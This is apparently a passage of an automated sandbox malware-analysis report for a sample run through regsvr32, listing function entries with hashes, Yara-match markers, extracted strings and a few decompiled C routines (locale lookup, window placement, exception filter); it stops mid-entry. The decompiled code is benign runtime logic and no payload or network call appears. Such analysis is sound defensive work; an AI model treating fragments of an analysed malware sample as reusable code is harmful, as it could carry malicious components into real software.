Instruction ID: fe7ad4247350a38d0c34d007aead9ed32fba015a243b7231d97baf994788a0e9
Opcode Fuzzy Hash: a88e851ab57ef78847bff64fb8c1f55eef959e1c550f3874bab6ec62e881582c
Instruction Fuzzy Hash: D95174B1218301AFC748CF26D48942FBBF1EFC8758F50591DF69656260E3B19A88CF86

Uniqueness

Uniqueness Score: -1.00%

Function 04222194, Relevance: 5.1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

Strings

y^, xrefs: 0422225F
^di_, xrefs: 04222235
#FZ, xrefs: 042221DF
g#, xrefs: 042221E6

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #FZ$^di_$g#$y^
API String ID: 0-3614166594
Opcode ID: 898530e46850b57c1b6fa34e43e5d7b9a10138e0edf0e53e97a2ce7a6b0f25a3
Instruction ID: f62446a662c09fd361ef7afc7172a6a552d9d6e12c1d40c0cbfa9c99958adec9
Opcode Fuzzy Hash: 898530e46850b57c1b6fa34e43e5d7b9a10138e0edf0e53e97a2ce7a6b0f25a3
Instruction Fuzzy Hash: 6731E172900208FBDF05DFA5DD098DEBFB6FF89304F508159FA14A6120D3B69A60AF90

Uniqueness

Uniqueness Score: -1.00%

Function 10027704, Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E10027704() {
				signed int _v8;
				char _v16;
				void* __esi;
				signed int _t8;
				intOrPtr* _t15;
				intOrPtr _t16;
				char _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				signed int _t24;
				int _t25;
				signed int _t27;

				_t8 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t8 ^ _t27;
				_t24 = 0;
				if(GetLocaleInfoA(GetThreadLocale(), 0x1004,  &_v16, 7) == 0) {
					L4:
					_t25 = GetACP();
				} else {
					_t20 = _v16;
					_t15 =  &_v16;
					if(_t20 == 0) {
						goto L4;
					} else {
						do {
							_t15 = _t15 + 1;
							_t24 = _t24 * 0xa + _t20 - 0x30;
							_t20 =  *_t15;
						} while (_t20 != 0);
						if(_t24 == 0) {
							goto L4;
						}
					}
				}
				return E100167D5(_t25, _t16, _v8 ^ _t27, _t22, _t23, _t25);
			}

0x1002770a
0x10027711
0x10027715
0x10027731
0x10027752
0x10027758
0x10027733
0x10027733
0x10027738
0x1002773b
0x00000000
0x1002773d
0x1002773d
0x10027743
0x10027744
0x10027748
0x1002774a
0x10027750
0x00000000
0x00000000
0x10027750
0x1002773b
0x10027768

APIs

GetThreadLocale.KERNEL32 ref: 10027717
GetLocaleInfoA.KERNEL32(00000000,00001004,?,00000007), ref: 10027729
GetACP.KERNEL32 ref: 10027752

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: 2cdb2551da010e6fdb5870f0ade684243d2ea15601f9ad5558c20012d78a2078
Instruction ID: 66289914fabe9bf2d1b1abcf1e27b8b8f35a8bed3fb6bd80cc0c1702fed1c004
Opcode Fuzzy Hash: 2cdb2551da010e6fdb5870f0ade684243d2ea15601f9ad5558c20012d78a2078
Instruction Fuzzy Hash: DCF0C231E042785BE701DB7598556EF77E4FF04B90B9101ADEC86E7280D720AE0987C4

Uniqueness

Uniqueness Score: -1.00%

Function 1000D804, Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000D804(struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				int _t16;

				if(E1000D6C3() == 0) {
					if((_a8 & 0x00000003) == 0) {
						if(IsIconic(_a4) == 0) {
							_t16 = GetWindowRect(_a4,  &(_v48.rcNormalPosition));
						} else {
							_t16 = GetWindowPlacement(_a4,  &_v48);
						}
						if(_t16 == 0) {
							return 0;
						} else {
							return E1000D7B8( &(_v48.rcNormalPosition), _a8);
						}
					}
					return 0x12340042;
				}
				return  *0x1005a754(_a4, _a8);
			}

0x1000d811
0x1000d825
0x1000d839
0x1000d851
0x1000d83b
0x1000d842
0x1000d842
0x1000d859
0x00000000
0x1000d85b
0x00000000
0x1000d862
0x1000d859
0x00000000
0x1000d827
0x00000000

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9ea1c9e954d40bf421bd01099b490e8a12a05a626fb39da3dad4e443b19b0f
Instruction ID: 387a2a710324106c5c2e9ba8f0dac284bfb83953cc403e56f04fca2c0ded1ab9
Opcode Fuzzy Hash: 0e9ea1c9e954d40bf421bd01099b490e8a12a05a626fb39da3dad4e443b19b0f
Instruction Fuzzy Hash: 71F0C935504209AAFF01EF61CC489AE7BA9EF043D4B10C026FC19D5068DB35DA559BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04238FAE, Relevance: 4.1, Strings: 3, Instructions: 312COMMON

Download Yara Rule

Strings

tU, xrefs: 0423922D
zPB, xrefs: 0423926B
<S, xrefs: 042391CE

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <S$tU$zPB
API String ID: 0-3909742637
Opcode ID: e879fdb05bcd2d34ccd57a4e342c933d8043d8464add6214bf6206169b364482
Instruction ID: 3179caf28ec798f7515e3cade5910c9e50a86429f0e9e5137f6e3bcf412e4fed
Opcode Fuzzy Hash: e879fdb05bcd2d34ccd57a4e342c933d8043d8464add6214bf6206169b364482
Instruction Fuzzy Hash: 2CF10FB16083809FD368CF21C58AA4BBBF2FBC5748F10891DE59A96260D7B18959CF43

Uniqueness

Uniqueness Score: -1.00%

Function 04239DF5, Relevance: 4.0, Strings: 3, Instructions: 223COMMON

Download Yara Rule

Strings

", xrefs: 04239FAE
K3, xrefs: 04239E4A
%;, xrefs: 04239F0A

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "$%;$K3
API String ID: 0-3594330084
Opcode ID: b66b005f84b83736fcd570dc5ef341ddfc69f914231d297819ec863c1bcf897e
Instruction ID: 360558a94267549fafd5cbd0ede125fc7ad026ebf601bfa430b6931a6b325531
Opcode Fuzzy Hash: b66b005f84b83736fcd570dc5ef341ddfc69f914231d297819ec863c1bcf897e
Instruction Fuzzy Hash: 57A163B26183809FD358DF66C589A5BBBF2BBC4758F00891DF1C69A220D3B59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0422A445, Relevance: 4.0, Strings: 3, Instructions: 213COMMON

Download Yara Rule

Strings

kb, xrefs: 0422A5BE
), xrefs: 0422A51E
B:o, xrefs: 0422A602

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )$B:o$kb
API String ID: 0-1085388577
Opcode ID: afaba8d044617c77afa36816e4b535cab9543edc3f0746a3055fe603fa8055fe
Instruction ID: 7227b949335601ac23210a7925102902d2ceaded55e06b4beb56c745168f1a04
Opcode Fuzzy Hash: afaba8d044617c77afa36816e4b535cab9543edc3f0746a3055fe603fa8055fe
Instruction Fuzzy Hash: FCA13071618341AFC3A8CF65C98941FBBF1BBC4758F009A2DF58A96260D3B19A09CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0423BEFD, Relevance: 4.0, Strings: 3, Instructions: 201COMMON

Download Yara Rule

Strings

8~", xrefs: 0423BF5F
', xrefs: 0423C145
$w%, xrefs: 0423C027

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: '$8~"$$w%
API String ID: 1586166983-1780403920
Opcode ID: 9a91bd0e2a6e2c3fff8f605ce6ffbbd1fdc28744edaaa42f02eb8f7aedf46709
Instruction ID: d692f72a4540332aebbee449b7a07280237da8d9cbf3af1b33a80b5fd509765a
Opcode Fuzzy Hash: 9a91bd0e2a6e2c3fff8f605ce6ffbbd1fdc28744edaaa42f02eb8f7aedf46709
Instruction Fuzzy Hash: DBA112B1D00209EBDF18CFE5D98A9DEBBB2FB44314F208159E511BA264D7B41A56CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0423D8DB, Relevance: 3.9, Strings: 3, Instructions: 157COMMON

Download Yara Rule

Strings

(2, xrefs: 0423DA8A
m~`, xrefs: 0423D991
)-, xrefs: 0423DA04

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )-$(2$m~`
API String ID: 0-2018184401
Opcode ID: 3e11803ea927e7df6680295804b9090ad11ac98bc0e337558a280692f26d1627
Instruction ID: efe36f8394f7c9e40683e593193954f79beceb502f7684533290e6ad039df62d
Opcode Fuzzy Hash: 3e11803ea927e7df6680295804b9090ad11ac98bc0e337558a280692f26d1627
Instruction Fuzzy Hash: 6E7146B29183429FC358DF25D58945BBBF1BBC8358F004A1DF59A96220E3B1DA59CF83

Uniqueness

Uniqueness Score: -1.00%

Function 04239774, Relevance: 3.9, Strings: 3, Instructions: 149COMMON

Download Yara Rule

Strings

E, xrefs: 042397FD
F7, xrefs: 042397C3
1C4, xrefs: 042398EC

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 1C4$F7$E
API String ID: 0-3303878784
Opcode ID: ec422184f0bc8e42d70ac5f52bb51cad38797440f210b574c256831cfc5cf489
Instruction ID: c8a2d1d8b55fd55da0676242cf8b55bd32b700b3f65ab5b0980d93a15b04e532
Opcode Fuzzy Hash: ec422184f0bc8e42d70ac5f52bb51cad38797440f210b574c256831cfc5cf489
Instruction Fuzzy Hash: 6D5174B2219381AFD358CF25D98981FBBF1FBC5748F405A1DF19256260D3B0DA49CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0422B820, Relevance: 3.9, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

v-, xrefs: 0422BA01
$P, xrefs: 0422B83F
Ei, xrefs: 0422B835

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$Ei$v-
API String ID: 0-1888193988
Opcode ID: 60fb1aff89613c869e0847384c005a959c9d0b6d156476f4b723f3bcdaf2ab76
Instruction ID: d942b9bba12ec085e0a76e7c36175750586596dffad262fe370d52c8c587598d
Opcode Fuzzy Hash: 60fb1aff89613c869e0847384c005a959c9d0b6d156476f4b723f3bcdaf2ab76
Instruction Fuzzy Hash: 486145B1608381AFD398CF25D58980BBBF1FBC8718F408A0DF19656260D7B5EA19CF46

Uniqueness

Uniqueness Score: -1.00%

Function 042407AA, Relevance: 3.9, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

jv~, xrefs: 0424092E
5b, xrefs: 042408B8
n~, xrefs: 04240906

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5b$jv~$n~
API String ID: 0-1119068381
Opcode ID: 7d85afcdd9a9e1e1280ebfed6bd9925fed1043a75a0c7f6aaf40a041912a3a74
Instruction ID: 6d849722e0fffff9766508ce7808171e6686aa1b439959a29ce7f94cdca1ecf4
Opcode Fuzzy Hash: 7d85afcdd9a9e1e1280ebfed6bd9925fed1043a75a0c7f6aaf40a041912a3a74
Instruction Fuzzy Hash: 00514572508305AFC748CF65C98981FBBE1FBC8758F508A1DF296A6220D371DA89CF46

Uniqueness

Uniqueness Score: -1.00%

Function 04237A0F, Relevance: 3.9, Strings: 3, Instructions: 137COMMON

Download Yara Rule

Strings

<, xrefs: 04237B6B
-,, xrefs: 04237A4F
Dy~, xrefs: 04237B8E

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -,$<$Dy~
API String ID: 0-1106285139
Opcode ID: d6b3b2578dfa8ddd2912b733a78ff5e035026ef6ee703557715b863dd5fba5b3
Instruction ID: 220ede99139a55c1a531e905268908822f0a32dc208964a47a89b5e87cacfb03
Opcode Fuzzy Hash: d6b3b2578dfa8ddd2912b733a78ff5e035026ef6ee703557715b863dd5fba5b3
Instruction Fuzzy Hash: 2A61FEB1D0120DEBDF08CFE5E98A9EEBBB2FB48314F208149E111B6260D7B55A55CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04227442, Relevance: 3.9, Strings: 3, Instructions: 116COMMON

Download Yara Rule

Strings

K3xq, xrefs: 04227446
k_, xrefs: 0422751B
F, xrefs: 042274EB

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: F$K3xq$k_
API String ID: 0-3174058581
Opcode ID: 8a905c52c889f14f5f9c31640370fe790257c20381d92135f62013ceb2078ec2
Instruction ID: f92b18be332f71736cfeb702734115bcabd57a5e504ddb5e5ec8f6950f65ffa2
Opcode Fuzzy Hash: 8a905c52c889f14f5f9c31640370fe790257c20381d92135f62013ceb2078ec2
Instruction Fuzzy Hash: 184189B0628302ABD718DF24D58582FFBE1FBC4798F10091EF98596261D7B49A188B97

Uniqueness

Uniqueness Score: -1.00%

Function 0423A2A5, Relevance: 3.9, Strings: 3, Instructions: 105COMMON

Download Yara Rule

Strings

l7u, xrefs: 0423A2F6
7, xrefs: 0423A2C0
=l, xrefs: 0423A35F

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =l$l7u$7
API String ID: 0-2380881030
Opcode ID: b1b36f6ea7783fc5674dd8cd6209e511234b1e5c55dd5baa3ddca641e2a689d7
Instruction ID: 17db88d3289129b3a3a43befc9ccedd3155551e42aacc233c3b020c8616a1d19
Opcode Fuzzy Hash: b1b36f6ea7783fc5674dd8cd6209e511234b1e5c55dd5baa3ddca641e2a689d7
Instruction Fuzzy Hash: 27510071D0021AABDF45CFE5D98A5EEBBB1FF44318F208158D512B2210D7B54A59CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0422BAA9, Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

zm, xrefs: 0422BACF
c/c, xrefs: 0422BAE9
k9j, xrefs: 0422BBBA

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: c/c$k9j$zm
API String ID: 0-1793526708
Opcode ID: d43419449e52b5cbd41cd5db91105e5f334013690b7b8493d0933a13370cd3ef
Instruction ID: a4c794b7e469536d0325d693aee538ca167f3676e0c32a5c6a73b6c14bf32f38
Opcode Fuzzy Hash: d43419449e52b5cbd41cd5db91105e5f334013690b7b8493d0933a13370cd3ef
Instruction Fuzzy Hash: 9F4103B2D0030AABDB08DFA5D94A5EEBBB2FF44318F108558E521A6260D7B49B54CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1001FC43, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E1001FC43(void* __eax, void* __ebx, void* __edx) {
				_Unknown_base(*)()* _t8;

				 *((intOrPtr*)(__edx + __ebx - 1)) =  *((intOrPtr*)(__edx + __ebx - 1)) + __edx;
				_t8 = SetUnhandledExceptionFilter(E1001BD6F());
				 *0x1005b670 = 0;
				return _t8;
			}

0x1001fc48
0x1001fc58
0x1001fc5e
0x1001fc65

APIs

__decode_pointer.LIBCMT ref: 1001FC51

Part of subcall function 1001BD6F: TlsGetValue.KERNEL32(?,1001C0FD,00000000,00000000,10017A84,00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840), ref: 1001BD7C
Part of subcall function 1001BD6F: TlsGetValue.KERNEL32(00000006,?,1001C0FD,00000000,00000000,10017A84,00000000,?,?,00000001,?,?,10017AE8,00000001), ref: 1001BD93

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001FC58

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Value$ExceptionFilterUnhandled__decode_pointer
String ID:
API String ID: 1958600898-0
Opcode ID: c0118062e478c14860ac704cd26963d59993939b078219122e56b5b05da27951
Instruction ID: 8c383471f53841a55e0fcdb182c1f4564aa38491823c170ddba15b1e5c66fe32
Opcode Fuzzy Hash: c0118062e478c14860ac704cd26963d59993939b078219122e56b5b05da27951
Instruction Fuzzy Hash: E0C04C59818ED49AE715DF745C9D70D7F14E712508FD40589D480851A2DE6CA049C931

Uniqueness

Uniqueness Score: -1.00%

Function 0423AD08, Relevance: 2.7, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

&b, xrefs: 0423AE84
r+, xrefs: 0423AF9B

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &b$r+
API String ID: 0-3016113347
Opcode ID: 21a08d76bae50ccced45b7cc5cd85bc429e57825c27dbb66c2e0b87fcf12f4d4
Instruction ID: c84133fb6a7b1216320a9220322ba0542e5df6c332ee9bd27d71bb57039e0a7d
Opcode Fuzzy Hash: 21a08d76bae50ccced45b7cc5cd85bc429e57825c27dbb66c2e0b87fcf12f4d4
Instruction Fuzzy Hash: 05C141B16083419FD3A8CF66C88990BBBF1FBD4758F108A1DF29686260D7B59949CF42

Uniqueness

Uniqueness Score: -1.00%

Function 04234F74, Relevance: 2.7, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

X\2, xrefs: 04235164
E, xrefs: 042351FD

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E$X\2
API String ID: 0-703089088
Opcode ID: 3b024b15e765706fae61aa6470815a027d875bbb8ead16d9ae0bc05ed8814e3d
Instruction ID: bfb1fe48e1b836bd732448d10ddfab49e623929959d4859df461a32fea1e5c6b
Opcode Fuzzy Hash: 3b024b15e765706fae61aa6470815a027d875bbb8ead16d9ae0bc05ed8814e3d
Instruction Fuzzy Hash: 819132B12183819BC368CF25D88991BBBF1FBC5398F504A1DF29696260D3B19A49CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0422DE74, Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

}#J, xrefs: 0422DF70
g>~, xrefs: 0422DFAD

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: g>~$}#J
API String ID: 0-4030106083
Opcode ID: c23ba5ff905c5b48cde82f9a92705b62e800853ad3ba6453e39f87a775a140ab
Instruction ID: cabadaf3e06243c389ab9472aefc3a229d0233a6ec5a571168a788209a7e0fb1
Opcode Fuzzy Hash: c23ba5ff905c5b48cde82f9a92705b62e800853ad3ba6453e39f87a775a140ab
Instruction Fuzzy Hash: 43919771A183619FC358CF25C58440BFBE1BB84358F514A2DF89967260D3B5EA09DF87

Uniqueness

Uniqueness Score: -1.00%

Function 0422E7DE, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

-br, xrefs: 0422E98E
F.<`, xrefs: 0422E90E

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -br$F.<`
API String ID: 0-3678315648
Opcode ID: eaec14a4876c9c72c20777f37d81c5f73ce4be34e10a3d9202af31a534b2139e
Instruction ID: d81305d74638e92c402fc86040665ad54d07577a198e844e29b97be4368eb09a
Opcode Fuzzy Hash: eaec14a4876c9c72c20777f37d81c5f73ce4be34e10a3d9202af31a534b2139e
Instruction Fuzzy Hash: 059141B1618341AFD758CE61C68991BBBF0FBD4748F00891DF68696260D3B1EA48CF93

Uniqueness

Uniqueness Score: -1.00%

Function 0423654A, Relevance: 2.7, Strings: 2, Instructions: 157COMMON

Download Yara Rule

Strings

=l,, xrefs: 042366AA
#V, xrefs: 04236594

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =l,$#V
API String ID: 0-882995766
Opcode ID: 63d82414185dada1c286f70f67569fe37ebaaf7d58e8b6f899c28194972c03bf
Instruction ID: d6c7ed56450d7f99ca0607112ae9e82ec96fec309d60bf3a3bec3b83c3abb5ec
Opcode Fuzzy Hash: 63d82414185dada1c286f70f67569fe37ebaaf7d58e8b6f899c28194972c03bf
Instruction Fuzzy Hash: 4E81FFB1D0121DEBCF08CFA0DA8A8EEBBB5FF44308F208159E515BA250D7B45A49CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04235333, Relevance: 2.6, Strings: 2, Instructions: 107COMMON

Download Yara Rule

Strings

j0, xrefs: 04235355
`0, xrefs: 042353F8

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `0$j0
API String ID: 0-1706687062
Opcode ID: a698ae834057bf3177c30c95693b9f296898de2c2be967a0d04c9a146b8b5e9c
Instruction ID: 49cb2295c6cbc1e748847ccab23e2652b5cfffd60d6ff33fabfdacad0b97787b
Opcode Fuzzy Hash: a698ae834057bf3177c30c95693b9f296898de2c2be967a0d04c9a146b8b5e9c
Instruction Fuzzy Hash: 014177B25183129FC344DF21998940BFBF1BBD8B49F104E2DF899A6260D3709A59CF93

Uniqueness

Uniqueness Score: -1.00%

Function 04227E79, Relevance: 2.6, Strings: 2, Instructions: 104COMMON

Download Yara Rule

Strings

~z#, xrefs: 04227F30
bg, xrefs: 04227ECC

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: bg$~z#
API String ID: 0-3633068236
Opcode ID: d27443a6954f6df962cc2ff153474a91a954d70af200d7c111dd209c5580846d
Instruction ID: 2bee35bf2fbd60148690f2f01cdfe424a7ed19d23fbb08d6c9d6e6d826d980d4
Opcode Fuzzy Hash: d27443a6954f6df962cc2ff153474a91a954d70af200d7c111dd209c5580846d
